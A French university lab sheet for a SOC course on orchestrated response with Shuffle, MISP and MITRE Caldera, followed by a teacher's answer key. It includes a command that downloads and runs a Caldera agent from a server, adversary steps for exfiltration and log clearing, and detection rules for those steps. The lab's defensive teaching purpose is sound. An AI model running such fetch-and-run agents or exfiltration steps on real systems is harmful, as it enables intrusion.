TP Bonus — Capstone SOAR : automatiser la réponse
Auteur : Thibaut Fontaine — Kodetis Institution : Université de la Réunion Date : 2026
Table des matières
Section intitulée « Table des matières »- Objectif & contexte
- Prérequis
- Étape 1 — Déployer la stack SOAR
- Étape 2 — Workflow Shuffle
- Étape 3 — Enrichissement MISP
- Étape 4 — Émulation Caldera
- Étape 5 — Mesurer la couverture
- Étape 6 — Dette de remédiation
- Livrables & validation
- Annexe enseignant — corrigé
1. Objectif & contexte
Section intitulée « 1. Objectif & contexte »📡 Poste SOC · La Réunion — Acte 2, Détecter : vous armez Alfred Faure (Crozet), ~2 900 km. Liaison SATCOM nominale.
Le capstone du module SIEM : passer de la détection à la réponse orchestrée, et éprouver vos détections sur une kill-chain complète rejouée par un émulateur adversaire. À la fin, vous saurez combien d’étapes sont vraiment couvertes et combien passent au travers.
🔴 Au fil de l’enquête
Section intitulée « 🔴 Au fil de l’enquête »Détecter, c’est bien ; réagir à 3 h du matin sur une base isolée, c’est mieux quand c’est automatique. Vous orchestrez la réponse (Shuffle + MISP + Caldera) : rejouée, l’attaque du jour J ne se contente plus de sonner — l’alerte s’enrichit, notifie et documente d’elle-même.
Objectifs pédagogiques
Section intitulée « Objectifs pédagogiques »- Comprendre le pattern SOAR : alerte → enrichissement → décision automatique → notification.
- Déployer un workflow Shuffle qui consomme un webhook Grafana et enrichit avec MISP.
- Construire un feed CTI minimaliste dans MISP (offline, cadre CERT-FR).
- Rejouer la kill chain jour J avec MITRE Caldera (T1078 → T1098 → T1213 → T1041).
- Mesurer la couverture réelle : combien d’étapes de la kill chain ont déclenché une alerte ?
Architecture du TP
Section intitulée « Architecture du TP »graph TB subgraph "Émulation adversaire" CAL[MITRE Caldera
port 8888] AGENT[Agent Sandcat
déployé sur monitoring] end subgraph "Détection (TPs précédents)" LOKI[(Loki)] GRAF[Grafana Alerting] end subgraph "SOAR" SHUF[Shuffle
port 3001] WORK[/Workflow YAML/] end subgraph "CTI" MISP[MISP
port 8443
~3 GB RAM] IOC[/IOC feed offline/] end subgraph "Sortie" DISC([Discord enrichi]) end CAL --> AGENT AGENT --> LOKI LOKI --> GRAF GRAF -->|webhook| SHUF SHUF --> WORK WORK -->|lookup IOC| MISP MISP --> IOC WORK -->|notif enrichie| DISC classDef red fill:#ff9999,stroke:#333,stroke-width:2px classDef blue fill:#99ccff,stroke:#333,stroke-width:2px classDef purple fill:#cc99ff,stroke:#333,stroke-width:2px class CAL,AGENT red class LOKI,GRAF blue class SHUF,WORK,MISP,IOC,DISC purple
2. Prérequis
Section intitulée « 2. Prérequis »Hardware
Section intitulée « Hardware »VM SAE avec 8-12 Go RAM (Wazuh non requis ici, mais MISP demande ~3 Go).
Vous arrivez avec le repo taaf-detections enrichi des TPs 1-3 SIEM + Module 1 LotL :
cd ~/taaf-detectionsls rules/ # initial_access/, persistence/, privilege_escalation/, execution/, collection/, exfiltration/, correlation/Discord webhook
Section intitulée « Discord webhook »Réutilisez $DISCORD_WEBHOOK_CRITICAL du TP2 Alerting.
3. Étape 1 — Déployer la stack SOAR
Section intitulée « 3. Étape 1 — Déployer la stack SOAR »3.1 — Shuffle (SOAR open source)
Section intitulée « 3.1 — Shuffle (SOAR open source) »# Sur la VM saegit clone https://github.com/Shuffle/Shuffle.gitcd Shuffledocker compose up -d
# Vérifierdocker compose ps# shuffle-backend, shuffle-frontend, shuffle-orborus, opensearchAccès : http://IP_SAE:3001 → créer un compte admin.
3.2 — MISP (CTI léger)
Section intitulée « 3.2 — MISP (CTI léger) »# Déploiement docker minimalgit clone https://github.com/MISP/misp-docker.gitcd misp-dockercp template.env .env# Éditer .env : BASE_URL=https://IP_SAE, ADMIN_PASSWORD=...docker compose up -dAccès : https://IP_SAE:8443 → admin / password configuré.
3.3 — MITRE Caldera (émulation adversaire)
Section intitulée « 3.3 — MITRE Caldera (émulation adversaire) »git clone https://github.com/mitre/caldera.git --recursivecd calderadocker build -t caldera:latest .docker run -d --name caldera \ -p 8888:8888 -p 7010:7010 \ -v $(pwd)/conf:/usr/src/app/conf:rw \ caldera:latest --insecureAccès : http://IP_SAE:8888 → admin / admin (changer après première connexion).
📸 Capture obligatoire #1 : 3 dashboards Shuffle, MISP, Caldera ouverts dans le navigateur.
4. Étape 2 — Workflow Shuffle
Section intitulée « 4. Étape 2 — Workflow Shuffle »4.1 — Recevoir l’alerte Grafana
Section intitulée « 4.1 — Recevoir l’alerte Grafana »Dans Shuffle → Workflows → + New Workflow → name TAAF-Triage-Alerte.
Ajoutez un Trigger Webhook :
- Copiez l’URL générée par Shuffle (
http://IP_SAE:3001/api/v1/hooks/<UUID>). - Dans Grafana → Alerting → Contact points → + Add :
- Name :
shuffle-soar - Integration : Webhook
- URL : URL Shuffle copiée
- Method : POST
- Name :
- Routez vos alertes critical vers ce contact point (en plus de Discord).
Test : déclencher manuellement une alerte Grafana → Shuffle reçoit le payload JSON.
4.2 — Extraire les IOCs du payload
Section intitulée « 4.2 — Extraire les IOCs du payload »Ajoutez une action Repeat back to me pour visualiser le payload. Vous y trouverez (entre autres) :
{ "commonLabels": { "alertname": "VPN Authentication from External IP (TAAF)", "severity": "high", "attack_id": "T1078" }, "alerts": [ { "labels": { "src_ip": "203.0.113.42", "user": "e.bernard" } } ]}Ajoutez un nœud Liquid Template pour extraire :
{ "ip": "{{ exec.alerts[0].labels.src_ip }}", "user": "{{ exec.alerts[0].labels.user }}", "rule": "{{ exec.commonLabels.alertname }}", "attack_id": "{{ exec.commonLabels.attack_id }}"}4.3 — Enrichir avec MISP (lookup IOC)
Section intitulée « 4.3 — Enrichir avec MISP (lookup IOC) »Ajoutez l’app MISP dans Shuffle. Configurez l’authentification (URL + API key MISP).
Action Search attribute :
- Field :
value - Value :
{{ ip }}(extrait à l’étape précédente) - Type :
ip-src
→ Si l’IP est dans MISP, Shuffle récupère les attributs (tag, threat level, events liés).
4.4 — Décision automatique
Section intitulée « 4.4 — Décision automatique »Ajoutez un Conditional :
if (misp_result.length > 0) { enriched_message = "🚨 [CONFIRMED MALICIOUS] " + rule + "\n" + "User: " + user + "\n" + "IP: " + ip + " (in MISP: " + misp_result[0].threat_level + ")\n" + "ATT&CK: " + attack_id} else { enriched_message = "⚠️ [UNKNOWN IP] " + rule + "\n" + "User: " + user + "\n" + "IP: " + ip + " (NOT in MISP — investigate)\n" + "ATT&CK: " + attack_id}4.5 — Notifier Discord avec contexte
Section intitulée « 4.5 — Notifier Discord avec contexte »Ajoutez l’app Discord dans Shuffle :
- Action : Send message
- Webhook URL :
$DISCORD_WEBHOOK_CRITICAL - Message :
{{ enriched_message }}
4.6 — Sauvegarder + tester
Section intitulée « 4.6 — Sauvegarder + tester »Cliquez Save puis Execute sur un payload test.
📸 Capture obligatoire #2 : workflow Shuffle complet (graphe) + run successful.
📸 Capture obligatoire #3 : message Discord enrichi avec contexte MISP.
5. Étape 3 — Enrichissement MISP
Section intitulée « 5. Étape 3 — Enrichissement MISP »5.1 — Importer un feed d’IOC offline
Section intitulée « 5.1 — Importer un feed d’IOC offline »MISP propose des feeds publics. Pour ce TP, importons un mini-feed local :
# Préparer le fichier IOC (à pousser dans MISP)cat > /tmp/taaf-iocs.json <<'EOF'{ "Event": { "info": "TAAF — IOCs jour J", "threat_level_id": "1", "analysis": "2", "Attribute": [ {"type": "ip-src", "value": "203.0.113.42", "comment": "VPN externe (jour J 09h12)"}, {"type": "ip-dst", "value": "185.220.101.42", "comment": "C2 jour J (10h15)"}, {"type": "domain", "value": "cdn-meteo-sync.net", "comment": "DNS tunneling jour J"}, {"type": "filename", "value": "MAJ_SATCOM_urgent.xlsm", "comment": "Phishing attachment"} ] }}EOF
# Importer via l'API MISPcurl -k -X POST "https://IP_SAE:8443/events/add" \ -H "Authorization: $MISP_API_KEY" \ -H "Content-Type: application/json" \ -d @/tmp/taaf-iocs.json5.2 — Vérifier dans MISP
Section intitulée « 5.2 — Vérifier dans MISP »Dashboard MISP → Events → vous voyez l’event “TAAF — IOCs jour J” avec les 4 attributs.
5.3 — Tester le workflow Shuffle avec lookup positif
Section intitulée « 5.3 — Tester le workflow Shuffle avec lookup positif »Déclenchez à nouveau l’alerte avec src_ip=203.0.113.42. Cette fois, le workflow Shuffle doit :
- Recevoir le webhook Grafana.
- Extraire l’IP
203.0.113.42. - Lookup MISP → trouve l’event TAAF IOCs.
- Notifier Discord avec
[CONFIRMED MALICIOUS]+ threat level + lien event MISP.
📸 Capture obligatoire #4 : notification Discord avec le préfixe [CONFIRMED MALICIOUS] et le contexte MISP.
6. Étape 4 — Émulation Caldera de la kill chain jour J
Section intitulée « 6. Étape 4 — Émulation Caldera de la kill chain jour J »6.1 — Déployer un agent Sandcat sur la VM monitoring
Section intitulée « 6.1 — Déployer un agent Sandcat sur la VM monitoring »Dans Caldera UI → Agents → + Deploy → copiez la commande Linux Sandcat :
# Sur la VM monitoringserver="http://IP_SAE:8888";curl -s -X POST -H "file:sandcat.go" -H "platform:linux" \ $server/file/download > sandcat.gochmod +x sandcat.gonohup ./sandcat.go -server $server -group red -v &Vérification Caldera UI → Agents → 1 agent listé en green.
6.2 — Construire une opération qui rejoue la kill chain
Section intitulée « 6.2 — Construire une opération qui rejoue la kill chain »Caldera UI → Operations → + New operation :
| Paramètre | Valeur |
|---|---|
| Name | TAAF-Jour-J-Replay |
| Group | red |
| Adversary | Custom (à créer ci-dessous) |
Créez un adversary custom TAAF Jour J avec les abilities :
| Order | Ability | ATT&CK |
|---|---|---|
| 1 | Discovery — list users (/etc/passwd) | T1087.001 |
| 2 | Credential access — VPN auth from external | T1078 (simulé via logger) |
| 3 | Collection — read CLASSIFIED file | T1213 |
| 4 | Exfiltration — POST file to attacker IP | T1041 |
| 5 | Defense evasion — clear bash history | T1070.003 |
Sauvegarder l’opération et Run.
📸 Capture obligatoire #5 : opération Caldera en cours avec les 5 abilities en file d’attente.
6.3 — Surveiller le SIEM en parallèle
Section intitulée « 6.3 — Surveiller le SIEM en parallèle »Dans Grafana → Explore → datasource Loki :
{job=~"auth|falco|postgres"} | logfmt | __error__=""Vous devez voir tomber, en quelques minutes :
| ATT&CK | Source | Alerte tombe-t-elle ? |
|---|---|---|
| T1087.001 (discovery) | Falco (process_creation) | À vérifier |
| T1078 (VPN auth) | auth log → règle TP1 #1 | OUI (votre règle existe) |
| T1213 (read CLASSIFIED) | Falco → règle TP1 #2 | OUI |
| T1041 (exfil) | postgres → règle TP1 #3 | OUI si la requête PG passe |
| T1070.003 (anti-forensic) | Falco (file_modify) | À vérifier |
📸 Capture obligatoire #6 : Discord avec ≥ 3 alertes consécutives + 1 alerte enrichie via Shuffle/MISP.
7. Étape 5 — Mesurer la couverture de bout en bout
Section intitulée « 7. Étape 5 — Mesurer la couverture de bout en bout »7.1 — Tableau de couverture (livrable)
Section intitulée « 7.1 — Tableau de couverture (livrable) »| Étape kill chain | ATT&CK | Caldera ability exécutée | Alerte tombée ? | Délai (ability → alerte) | SOAR enrichi ? |
|---|---|---|---|---|---|
| Discovery | T1087.001 | ✅ | ❌ | N/A | N/A |
| Credential Access | T1078 | ✅ | ✅ | ~30s | ✅ |
| Collection | T1213 | ✅ | ✅ | ~10s | ✅ |
| Exfiltration | T1041 | ✅ | ✅ | ~45s | ✅ |
| Defense Evasion | T1070.003 | ✅ | ❌ | N/A | N/A |
Taux de détection : 3/5 = 60 %.
Lecture critique :
- ✅ Les 3 étapes que vous avez explicitement codées au TP1 SIEM sont détectées.
- ❌ Les 2 étapes “périphériques” (discovery, anti-forensic) passent au travers — vous n’avez pas écrit de règle pour elles.
7.2 — Améliorer la couverture (livrable bonus)
Section intitulée « 7.2 — Améliorer la couverture (livrable bonus) »Pour chaque étape ratée, proposer une règle Sigma :
Pour T1087.001 (Discovery) :
title: Suspicious User Enumeration via /etc/passwdlogsource: product: falcodetection: selection: rule|contains: "Read sensitive file" output_fields.fd.name: "/etc/passwd" condition: selectionlevel: mediumtags: - attack.discovery - attack.t1087.001Pour T1070.003 (Anti-forensic) :
title: Bash History Clearedlogsource: product: falcodetection: selection: rule|contains: "Truncate sensitive file" output_fields.fd.name|endswith: ".bash_history" condition: selectionlevel: hightags: - attack.defense_evasion - attack.t1070.003Ajoutez-les au repo taaf-detections, recompilez, redéployez. Relancez Caldera → la couverture passe à 5/5.
8. Étape 6 — Dette de remédiation
Section intitulée « 8. Étape 6 — Dette de remédiation »Maintenant que vous voyez tout, que faites-vous ? Une bonne réponse SOAR ≠ ping Discord — c’est un plan d’action automatisé.
8.1 — Niveaux de réponse SOAR
Section intitulée « 8.1 — Niveaux de réponse SOAR »| Niveau | Action SOAR | Risque | Quand l’utiliser |
|---|---|---|---|
| L0 | Notification enrichie | 🟢 nul | Toujours (notre TP) |
| L1 | Création ticket Jira/GitLab | 🟢 nul | Pour traçabilité opérationnelle |
| L2 | Quarantaine réseau (block IP attaquant) | 🟡 modéré | IOC confirmé MISP threat-level=High |
| L3 | Reset auth (kick session) | 🟠 risqué | Compromission confirmée |
| L4 | Isolation hôte (host containment) | 🔴 haut | Domain admin compromis |
8.2 — Implémenter L2 dans Shuffle (bonus)
Section intitulée « 8.2 — Implémenter L2 dans Shuffle (bonus) »Ajoutez un nœud HTTP dans le workflow Shuffle :
url: http://IP_FW/api/firewall/blockmethod: POSTbody: | { "ip": "{{ ip }}", "duration_minutes": 60, "reason": "SOAR L2 — MISP threat-level High" }Conditionné par misp_result.threat_level == "High".
→ Quand une alerte tombe avec IOC confirmé MISP, l’IP est bloquée 1 heure automatiquement.
8.3 — Risques de l’automatisation
Section intitulée « 8.3 — Risques de l’automatisation »- L’attaquant peut spoofer une IP allié pour faire blacklister un partenaire légitime (DoS-by-SOAR).
- Un faux positif L4 peut isoler un serveur de prod critique.
→ Règle d’or : automatiser L0/L1 sans hésitation, L2/L3 avec garde-fous (whitelist, durée bornée), L4 uniquement sur validation humaine.
9. Livrables & validation
Section intitulée « 9. Livrables & validation »Livrables
Section intitulée « Livrables »- Stack SOAR déployée : 3 captures (Shuffle + MISP + Caldera up).
- Workflow Shuffle : capture du graphe + payload test + run successful.
- Event MISP créé avec ≥ 4 IOCs jour J.
- Notification Discord enrichie : capture avec
[CONFIRMED MALICIOUS]. - Opération Caldera rejouant la kill chain.
- Tableau de couverture (5+ étapes, taux de détection calculé).
- 2 règles Sigma comblant les angles morts identifiés.
- Paragraphe sur la dette SOAR (niveaux L0-L4, risques de l’automatisation).
- (Bonus) : workflow L2 (block IP automatique) avec garde-fou.
Grille de validation
Section intitulée « Grille de validation »| Critère | Pondération |
|---|---|
| Stack SOAR up (Shuffle + MISP + Caldera) | 15 % |
| Workflow Shuffle complet et fonctionnel | 20 % |
| Enrichissement MISP visible dans Discord | 15 % |
| Opération Caldera exécutée jusqu’au bout | 15 % |
| Tableau de couverture (≥ 5 étapes mesurées) | 15 % |
| 2 règles Sigma comblant les angles morts | 10 % |
| Paragraphe sur la dette SOAR (L0-L4) | 10 % |
| (Bonus) workflow L2 avec garde-fous | +10 % bonus |
Format de rendu : PDF nom-prenom-promo.pdf sur Moodle.
10. Annexe enseignant — corrigé
Section intitulée « 10. Annexe enseignant — corrigé »Taux de détection attendu
Section intitulée « Taux de détection attendu »3/5 à 4/5 avant les nouvelles règles, 5/5 après. L’étudiant qui rate complètement (0/5) a probablement un problème de routage des alertes Grafana → Shuffle. L’étudiant qui détecte 5/5 sans avoir écrit les 2 règles supplémentaires triche ou a déjà des règles préexistantes.
Erreurs courantes à pénaliser
Section intitulée « Erreurs courantes à pénaliser »- Workflow Shuffle qui ne fait que forwarder (pas d’enrichissement MISP) → -15 % (manque l’essence du SOAR).
- Pas de lookup MISP ou MISP vide → -10 % (le S de SOAR = enrichissement).
- Caldera mais pas d’agent déployé → -10 % (l’opération ne fait rien).
- Tableau de couverture sans calcul de taux → -5 %.
- Pas de discussion sur la dette SOAR (L0-L4) → -10 % (manque la maturité opérationnelle).
- L2/L3 automatique sans garde-fou → -10 % et discussion : un faux positif L3 bloque un user légitime à 3 h du matin sur une base isolée.
Pont avec l’Acte 3
Section intitulée « Pont avec l’Acte 3 »L’opération Caldera de ce TP est le précurseur du TP Purple Team de l’Acte 3 :
- Ici, on rejoue la kill chain pour valider la couverture détection (vue Blue).
- À l’Acte 3, on l’utilise pour valider la couverture audit + détection + remédiation (vue Purple complète).
L’étudiant arrive au TP Purple Team avec un adversary Caldera déjà construit — il n’a plus qu’à le rejouer après remédiation pour mesurer le delta.
Pont avec le rapport d’audit IA
Section intitulée « Pont avec le rapport d’audit IA »Le rapport final (tp-rapport-audit-ia) consomme :
- Le tableau de couverture (taux de détection).
- Les règles ajoutées en post-mortem (preuve d’apprentissage continu).
- La dette SOAR documentée (niveau L0-L4 acceptable pour TAAF).
Architecture conseil pour TAAF
Section intitulée « Architecture conseil pour TAAF »| Niveau SOAR | Recommandation TAAF |
|---|---|
| L0 (notification enrichie) | ✅ Déployer immédiatement |
| L1 (ticket auto) | ✅ Brancher GitLab Issues |
| L2 (block IP) | 🟡 Avec whitelist + durée bornée 1h |
| L3 (reset auth) | 🟡 Validation humaine via bouton Discord (button webhook) |
| L4 (isolation hôte) | 🔴 Toujours validation humaine (risque trop élevé sur base isolée sans astreinte) |